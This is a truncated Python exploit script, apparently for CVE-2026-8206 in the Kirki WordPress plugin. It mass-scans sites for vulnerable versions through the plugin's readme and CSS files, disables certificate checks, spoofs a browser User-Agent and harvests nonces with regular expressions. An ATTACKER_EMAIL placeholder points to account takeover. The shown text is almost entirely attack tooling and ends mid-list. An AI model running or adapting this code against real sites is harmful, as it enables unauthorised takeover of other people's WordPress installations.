# -*- coding: utf-8 -*- from __future__ import print_function import re import sys import os import requests from collections import defaultdict from concurrent.futures import ThreadPoolExecutor, as_completed from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) ATTACKER_EMAIL = "attacker@example.com" # PUT UR EMAIL HERE DEFAULT_THREADS = 15 HEADERS = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'keep-alive', } GREEN = '\033[92m' RED = '\033[91m' YELLOW = '\033[93m' CYAN = '\033[96m' RESET = '\033[0m' BANNER = r""" {0}╔══════════════════════════════════════════════════════════╗ ║ CVE-2026-8206 - Kirki WordPress Plugin Exploit ║ ║ Mass Auto-Detect Nonce & Username ║ ╚══════════════════════════════════════════════════════════╝{1} """.format(CYAN, RESET) def normalize_url(url): url = url.strip() if not url.startswith(('http://', 'https://')): url = 'https://' + url return url.rstrip('/') def version_tuple(v): try: return tuple(map(int, v.split('.'))) except: return (0,0,0) def detect_kirki(target): paths = ['kirki', 'kirki-test'] for plugin_path in paths: readme_url = target + '/wp-content/plugins/' + plugin_path + '/readme.txt' try: r = requests.get(readme_url, headers=HEADERS, timeout=10, verify=False) if r.status_code == 200: match = re.search(r'Stable tag:\s*([0-9.]+)', r.text) if match: version = match.group(1) if version_tuple(version) <= (6, 0, 6): return True, version else: return False, version except: pass css_url = target + '/wp-content/plugins/' + plugin_path + '/assets/css/kirki.min.css' try: r = requests.get(css_url, headers=HEADERS, timeout=10, verify=False, allow_redirects=True) if r.status_code == 200: final_url = r.url match = re.search(r'ver=([0-9.]+)', final_url) if match: version = match.group(1) if version_tuple(version) <= (6, 0, 6): return True, version else: return False, version except: pass return False, None def extract_nonces_from_html(html): nonces = set() patterns = [ r'X-WP-ELEMENT-NONCE["\']?\s*:\s*["\']([a-f0-9]{8,})', r'nonce["\']?\s*:\s*["\']([a-f0-9]{8,})', r'data-nonce=["\']([a-f0-9]{8,})', r'kirki_nonce["\']?\s*:\s*["\']([a-f0-9]+)', r'name=["\']_wpnonce["\']\s+value=["\']([a-f0-9]+)', r'var\s+nonce\s*=\s*["\']([a-f0-9]+)', r'kirkiCompLib\s*=\s*\{[^}]*"nonce"\s*:\s*"([a-f0-9]+)"', r'window\.wp_kirki\s*=\s*\{[^}]*nonce\s*:\s*"([a-f0-9]+)"', r'wp_kirki\s*=\s*\{[^}]*nonce\s*:\s*"([a-f0-9]+)"', r'\{[^}]*"nonce"\s*:\s*"([a-f0-9]+)"', r']+name=["\']_wpnonce["\'][^>]+value=["\']([a-f0-9]+)["\']', r']+value=["\']([a-f0-9]+)["\'][^>]+name=["\']_wpnonce["\']', r'